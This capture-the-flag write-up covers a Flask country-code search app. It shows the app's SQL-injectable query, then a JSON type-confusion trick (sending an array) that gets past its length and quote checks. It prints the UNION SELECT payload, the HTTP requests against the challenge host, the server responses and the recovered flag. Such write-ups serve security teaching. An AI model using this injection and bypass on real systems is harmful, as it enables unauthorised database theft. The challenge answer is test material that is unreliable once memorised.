Description of the Challenge
Do you know which country code 'CA' and 'KE' are for? Search country codes here!
Recon / Initial Analysis
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
found = cur.fetchone()
return None if found is None else found[0]
Here we can identify a SQL Injection vulnerability that we can exploit.
@app.route('/api/search', methods=['POST'])
def api_search():
req = flask.request.get_json()
if 'code' not in req:
flask.abort(400, "Empty country code")
code = req['code']
if len(code) != 2 or "'" in code:
flask.abort(400, "Invalid country code")
name = db_search(code)
if name is None:
flask.abort(404, "No such country")
return {'name': name}
Unfortunately, our payload is restricted by an input validation check. The developer assumes this validation is sufficient because it ensures that the provided country code is exactly two characters long and does not contain a single quote (').
Solution
The vulnerability arises from a JSON type confusion issue. The application assumes that the 'code' field is a string but never explicitly validates its type. By supplying a JSON array instead, we can alter the semantics of both the length and character-membership checks, allowing us to bypass the intended input validation.
POST /api/search HTTP/1.1
Content-Type: application/json
Content-Length: 54
{"code":["R') UNION SELECT flag from flag;---",
"s"]}HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.14.6
Date: Sun, 06 Sep 2026 20:58:47 GMT
Content-Type: application/json
Content-Length: 108
Connection: close
{
"name": "SELECT name FROM country WHERE code=UPPER('[\"R') UNION SELECT flag from flag;---\", 's']')"
}
SELECT name FROM country WHERE code=UPPER('[\"R') UNION SELECT flag from flag;---\", 's']')
POST /api/search HTTP/1.1
Host: 34.170.146.252:43271
Content-Length: 54
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://34.170.146.252:43271
Referer: http://34.170.146.252:43271/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{"code":["R') UNION SELECT flag from flag;---",
"s"]}HTTP/1.1 200 OK
Server: nginx/1.21.6
Date: Sun, 06 Sep 2026 21:01:15 GMT
Content-Type: application/json
Content-Length: 55
Connection: keep-alive
{"name":"CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}"}
Flag
CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}